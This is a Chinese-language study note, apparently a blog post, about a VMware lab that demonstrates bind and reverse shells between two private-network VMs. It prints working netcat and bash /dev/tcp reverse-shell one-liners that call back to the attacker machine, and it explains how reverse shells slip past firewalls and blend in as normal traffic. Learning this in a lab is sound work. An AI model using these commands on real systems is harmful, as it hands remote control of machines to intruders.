当前位置: 首页 > news >正文

正向shell,反弹shell学习

鉴于最近不知道为什么我的博客网站被冻结了.....今天又来这里记笔记了哈哈。今天打算通过VMware实验学习一把关于正向shell和反弹shell的学习。

靶机:192.168.112.150

攻击机:192.168.112.152

综合背景:

控制一台服务器,获得一个该服务器的shell。

正向shell

方式:在服务器192.168.112.150打开一个shell端口(例如nc -lvp 4444 -e /bin/bash),然后用192.168.112.152去主动连接nc 目标IP 4444)服务器192.168.156.112那个端口,从而获得一个服务器192.168.156.112的shell。

192.168.112.150 靶机指令:

nc -lvp 4444 -e /bin/bash
这条命令会在本机服务器打开一个4444端口,任何连接到这个端口的人,都会直接获得一个本机Bash Shell命令权限。

参数详解

nc

是什么netcat 的命令。它是一个功能强大的网络工具,被誉为“网络瑞士军刀”,可以读写TCP和UDP连接。

-l (Listen)

作用:让 netcat 进入监听模式

含义:让本机扮演服务器的角色,等待其他机器来连接自己,而不是主动去连接别人。

-v (Verbose)

作用详细输出模式。

含义:让 netcat 在终端显示更详细的信息,例如当有连接建立或断开时,会打印出提示。这在调试和观察状态时非常有用。

-p 4444 (Port)

作用:指定要监听的端口号。

含义:告诉 netcat 在本地机器的 4444 号端口上进行监听。端口号可以任意更改(如1234, 8080等),但需确保该端口未被其他程序占用。

-e /bin/bash (Execute)

作用:这是整个命令的灵魂,也是最危险的部分。-e 参数代表执行

含义:它命令 netcat,一旦有客户端成功连接到本地的4444端口,就立即执行 -e 后面的程序(这里是 /bin/bash,即Linux的Bourne Again Shell)。

关键机制:不仅执行程序,还会将该程序的标准输入(stdin)、标准输出(stdout)和标准错误(stderr) 全部重定向到新建立的网络连接上。

192.168.112.152 攻击机指令:

nc 192.168.112.150 4444
本机作为客户端,主动去连接 IP 地址为 192.168.112.150 的服务器上的 4444 端口。

如图,攻击机成功连接到了靶机的4444端口,获得了靶机的shell。

弊端

目标服务器的防火墙通常会阻止外部设备主动发起的连接(入站规则)。你连不上它的端口。

即使端口开放,安全设备也容易发现这种“服务器监听异常端口”的可疑行为。

反弹shell

方式:让目标服务器主动连接到你的电脑。你在自己的电脑上先开启一个监听端口(nc -lvp 4444),然后通过某种方式(比如利用一个漏洞)让目标服务器执行命令,连接你的IP和端口,并把它的Shell(如bashcmd.exe)附加到这个连接上。

方法一:

192.168.112.152 攻击机指令:

nc -lvp 4444
注意:这里没有 -e 参数。攻击者只是单纯地开了一个门,手里并没有拿着Shell,他在等别人把Shell送上门。

攻击机正在监听4444端口。

192.168.112.150 靶机指令:

nc -e /bin/bash 192.168.112.152 4444
让靶机192.168.112.150主动发起一个出站连接,连接到攻击者监听的 192.168.112.152:4444,并在建立连接后,把自己的Bash Shell“送”过去。

如图我们的攻击机成功拿到了靶机送过来的靶机shell,并且成功执行命令。

方法二:

 192.168.112.152 攻击机指令:

nc -lvp 4444
注意:这里没有 -e 参数。攻击者只是单纯地开了一个门,手里并没有拿着Shell,他在等别人把Shell送上门。

攻击机正在监听4444端口。

192.168.112.150 靶机指令:

echo $0
查看当前shell名称是bash还是zsh

通过指令发现192.168.112.150 靶机服务器shell环境是zsh

192.168.112.150 靶机指令:

bash
将靶机shell环境改为bash
bash -i >& /dev/tcp/192.168.112.152/4444 0>&1

bash -i >& /dev/tcp/192.168.112.152/4444 0>&1

它的唯一目的:向攻击者(IP: 192.168.112.152)的4444端口反弹一个交互式Shell。

命令分解

  • bash -i

    • bash:启动一个 Bash shell。

    • -i 选项表示“交互式”(interactive),确保 Shell 有输入输出提示符,可以接受用户输入。

  • >& /dev/tcp/192.168.112.152/4444

    • >&:这是 Bash 中的重定向操作符,表示将标准输出(stdout)和标准错误(stderr) 都重定向到后面的目标。

    • /dev/tcp/192.168.112.152/4444:这是 Bash 的一个特殊功能(不是真实设备文件),它会尝试建立一个 TCP 连接到 IP 地址 192.168.112.152 的 4444 端口。

  • 0>&1

    • 0>:表示重定向标准输入(stdin)(文件描述符 0)。

    • &1:表示重定向到标准输出(stdout)(文件描述符 1)的当前位置(即之前重定向到的 TCP 连接)。

    • 所以,这表示将标准输入也重定向到 TCP 连接,使得该 Shell 的输入也来自网络连接。


整体效果

这条命令组合起来的效果是:

  1. 启动一个交互式 Bash Shell(bash -i)。

  2. 将该 Shell 的标准输出(stdout)和标准错误(stderr) 都发送到 TCP 连接 192.168.112.152:4444

  3. 同时,将标准输入(stdin) 也重定向到同一个 TCP 连接。

这样,攻击者(在 192.168.112.152 的 4444 端口监听)就可以:

  • 接收目标机器(执行该命令的设备)的 Shell 输出(包括命令执行结果和错误信息)。

  • 向目标机器发送命令(通过标准输入),实现远程控制。

注意事项

依赖Bash:这个命令只在Bash中有效。在Zsh、Fish等其他Shell中会报错(会以为/dev/tcp/是一个真实文件路径)。

靶机在bash环境下主动连接攻击机监听的4444端口,并且送出自己的shell。

攻击机情况:成功拿到了靶机的shell。

反弹shell优势

绕过防火墙:出站规则通常比入站规则宽松得多。服务器向外访问Web(80/443端口)或SSH(22端口)的行为很常见,不易被拦截。

隐藏连接源:对于目标网络内部来说,连接是由内向外发起的,看起来更像一个正常的网络请求。

http://www.dtcms.com/a/393039.html

相关文章:

  • 一维数组原地更新——力扣119.杨辉三角形II
  • Python语法学习-1
  • Linux基础命令大全
  • 9.21 快速选择
  • 【常见集合】HashMap
  • Docker安装小白教程(阿里yum)
  • MySQL表结构变更详解:ALTER TABLE ADD COLUMN语法、最佳实践与避坑指南
  • 【LeetCode - 每日1题】设计电子表格
  • Spring 中 REQUIRED 事务的回滚机制详解
  • C++框架中基类修改导致兼容性问题的深度分析与总结
  • 学习笔记-SpringBoot项目配置
  • Java数据结构——时间和空间复杂度
  • 如何在接手新项目时快速上手?
  • Zynq开发实践(SDK之自定义IP2)
  • 数据库相关锻炼
  • PostgreSQL 入门与实践
  • pytorch基本运算-PyTorch.Tensor张量数据类型
  • 数据结构与算法 第三章 栈
  • Spring Boot 整合 MyBatis:从入门到企业级实践
  • FHook Java 层全函数 HOOK 框架
  • TDengine 聚合函数 STDDEV_POP 用户手册
  • 【 嵌入式Linux应用开发项目 | Rockit + FFmpeg+ Nginx】基于泰山派的IPC网络摄像头
  • 机器学习中的高准确、低召回
  • Go基础:Go基本数据类型详解
  • 项目管理(一)
  • 【STM8L101 执行函数FLASH_ProgramBlock出现问题】
  • ​​[硬件电路-278]:双向双电源电平转换收发器74AXP2T45DCH功能概述、管脚定义
  • 音视频同步的原理和实现方式
  • BUG调试案例十八:TPS5430输出震荡问题案例
  • Python读取Excel文件里面指定列中的指定范围行